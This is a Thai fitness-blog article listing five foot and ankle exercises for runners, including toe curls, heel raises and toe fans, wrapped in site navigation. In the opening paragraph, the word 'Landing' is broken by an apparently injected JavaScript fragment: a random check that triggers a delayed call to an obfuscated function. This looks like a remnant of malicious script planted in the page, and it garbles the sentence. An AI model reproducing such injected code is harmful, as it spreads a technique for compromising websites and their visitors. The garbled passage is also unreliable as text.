• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

ไปได้ไกล..ไปได้นานขึ้น..กับ 5 วิธี บริหารกล้ามเนื้อเท้า (5 Foot Exercises)

stepextra by stepextra
9 May 2018
in Running Tips, Tips & Technics, Training
0
ไปได้ไกล..ไปได้นานขึ้น..กับ 5 วิธี บริหารกล้ามเนื้อเท้า (5 Foot Exercises)
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เรารู้จักวิธีบริหารกล้ามเนื้อ Upper กล้ามเนื้อ Core กล้ามเนื้อ Lower กันไปพอสมควร เเต่กล้ามเนื้อเท้ามักจะเป็นสิ่งที่เรามองข้ามกันไปเสมอ การ บริหารกล้ามเนื้อเท้า มีประโยชน์มากไม่เเพ้การบริหารกล้ามเนื้อส่วนอื่นๆ เลย ช่วยให้กล้ามเนื้อเท้า เอ็น กล้ามเนื้อข้อเท้า มีความยืดหยุ่น เเข็งเเรง เวลา Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding หรือการลงเท้าจะมั่นคง รักษาสมดุลการทรงตัวในทุกสภาพพื้นผิวถนน

ไปได้ไกล..ไปได้นานขึ้น..กับ 5 วิธี บริหารกล้ามเนื้อเท้า (5 Foot Exercises)

เวลาบริหารกล้ามเนื้อเท้า จะมีการรวมเอาข้อเท้าเข้ามาด้วย หรือที่เรียกว่า Feet & Ankle Workouts การฝึกบริหารกล้ามเนื้อมีหัวใจที่สำคัญคือ flexibility, mobility และ strengthen

ตัวอย่างการบริหารกล้ามเนื้อเท้าเเละข้อเท้า…

1. Toe Curls ท่าบริหารช่วยป้องกันอาการกล้ามเนื้อหน้าเเข้งอักเสบ หรือ shin splints

2. Heel Raises ช่วยบริหารกล้ามเนื้อเท้า Fore foot และกล้ามเนื้อน่อง หรือ Calf muscles ช่วยเสริมความเเข็งเเกร่งให้ข้อเท้าด้วยนะ

3. Inside/outside rocks ช่วยสร้างความยืดหยุ่นให้กล้ามเนื้อและเอ็นข้อเท้า ป้องกันการเกิดอาการข้อเท้าพลิก

4. Toe Fan กางนิ้วเท้าทั้งหมด กดลงและยกขึ้น เพื่อบริหารกล้ามเนื้อหน้าเท้าและจุดเชื่อมต่อกล้ามเนื้อหน้าเเข้ง เพื่อความยืดหยุ่น บาลานซ์และความเเข็งเเรงในการ pushoff เวลาวิ่ง

บริหารกล้ามเนื้อเท้า

5. Great Toe Down บริหารกล้ามเนื้อเท้าและฝึกประสาทการเชื่อมต่อ การสั่งงาน ให้มัดกล้ามเนื้อต่างทำงานประสานกันได้ดียิ่งขึ้น

fullfitsure.com
fullfitsure.com

 

ShareTweetShare
stepextra

stepextra

Related Posts

! Без рубрики

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
News

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
  • เบริ์นไขมันขณะวิ่ง

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0

ทดสอบ

ทดสอบ

StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022

Browse by Category

  • ! Без рубрики
  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.